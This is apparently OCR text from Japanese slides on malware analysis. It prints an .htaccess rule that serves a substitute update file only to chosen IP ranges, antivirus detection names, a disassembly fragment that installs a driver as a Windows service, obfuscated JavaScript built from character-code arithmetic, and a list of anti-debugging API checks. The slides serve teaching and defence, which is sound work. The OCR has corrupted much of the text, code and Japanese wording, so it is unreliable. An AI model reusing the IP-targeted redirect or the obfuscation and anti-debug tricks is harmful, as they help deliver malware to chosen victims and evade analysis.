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SetEnvlf Remote_Addr “106%.188%.131¥.[0-9]+” install
SetEnvIf Remote_Addr “133¥.6¥.94¥.[0-9]+” install

(... A#RIZ709T ...)

SetEnvlf Remote_Addr “124%.248%.207%.[0-9]+” install
RewriteEngine on

RewriteCond %{ENV:install} =1

RewriteRule (.*¥.txt)$ /pub/rabe/editor.txt [L]

[1] https://jp.emeditor.com/general/ §EID/\yH—IZ KB EDFHMIZDLVNT/
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1
Kaspersky: Trojan-Ransom.Win32.Agent

AVG: Trojan.Generic35
TNESAHD, T7IVRITEHED

15
AVG
Trojan.Win32.Agent
Trojan.CoinMiner.AKQ
Trojan.Dropper.Generic_r.AF

Kaspersky: £&fTrojan.Inject2.MDE
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ame

loc_407097:

push ()

push (0

psh (0

plsh (0

push () ;
push of fzset BirarvPathi
psh 1

plsh 3

push 1

push OF0TFFhR

plsh of fset Displaviame ;
plsh offzet Displaviame ;
push eax

call ds:CreateServiced
MC esi, eax

test esi, esi

inz short oo _40100C

. |pPaszword

: IpServiceStartMame
. |plependencies

; IpdwTagld

leLoaddrderGroue

“486 WS Driver”
“4868 WS Driver”

; hi5CManazer

T ndows¥¥Svstem3 2 ¥ M wd 86 svs”
; dwErrorControl
odwstart Twpe

v dwServicelvpe

i dwlesi redbccess
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JavaScriptdD #5551k

unction y

urn String. fromCharCode(PuOEGGLVMC)} yJIDyoDLGpObSGUU(x(1
x(103-6)+x(116-2)+x(41-9)+x(107-9)+x(40-8)+x(66-5)+x(32-
x(109-8)+x(107-0)+x(114-4)+x(117-0)+x(101-2)+x(115-8)+x(

=3)+x(105-4)+x(122-7)+x(46-0)+x(103-4)+x(117-6)+x(11l6-7)
8-1)+x(100-0)+x(110-1)+x(112-7)+x(119-9)+x(51-4)+x(116-7
X(49-2)+x(61-6)+x(52-1)+x(50-4)+x(105-4)+x(122-2)+x(107-

#ETbZAEPRLEL &£
{5: Online JavaScript beautifier http://jsbeautifier.org/
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IsDebuggerPresent
Process Environment Block (PEB) #&i& &AM &
TINVADEBIL TS MESH
CheckRemoteDebuggerPresent
Process Environment Block (PEB) #&i& &AM &
TINYANT AR CEFESNTLENESH
NtQuerylnformationProcess
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OutputDebugString
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—API hook TRAfRILEL &S
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Practical Malware Analysis: The Hands-On Guide to
Dissecting Malicious Software
BRET/IN\VARY—ILDENELGELHY
EEMRELSEHY
http://www.amazon.co.jp/Practical-Malware-Analysis-Hands-
Dissecting/dp/1593272901
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